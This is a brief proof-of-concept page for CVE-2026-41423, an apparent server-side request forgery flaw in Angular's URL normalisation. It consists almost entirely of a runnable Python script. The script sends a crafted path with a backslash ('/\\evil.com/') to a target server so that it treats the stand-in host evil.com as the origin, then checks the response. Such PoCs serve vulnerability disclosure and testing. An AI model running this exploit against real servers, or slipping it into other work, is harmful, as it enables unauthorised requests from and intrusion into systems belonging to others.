CVE-2026-41423 Angular平台SSRF漏洞

# PoC for CVE-2026-41423 # This script demonstrates how a malformed request with a backslash # can trick the Angular server into changing the origin context. import requests def trigger_ssrf(target_url): """ Sends a request with a backslash to exploit the URL normalization issue. Example: http://target.com/\evil.com/ """ # The payload includes a backslash which is normalized to a forward slash # causing the server to treat 'evil.com' as the origin. payload = "/\\evil.com/" try: full_url = target_url + payload print(f"Sending request to: {full_url}") response = requests.get(full_url) if response.status_code == 200: print("Request successful. Check if the application made external requests to evil.com.") else: print(f"Received status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}") if __name__ == "__main__": # Replace with the actual vulnerable server URL target = "http://localhost:4200" trigger_ssrf(target)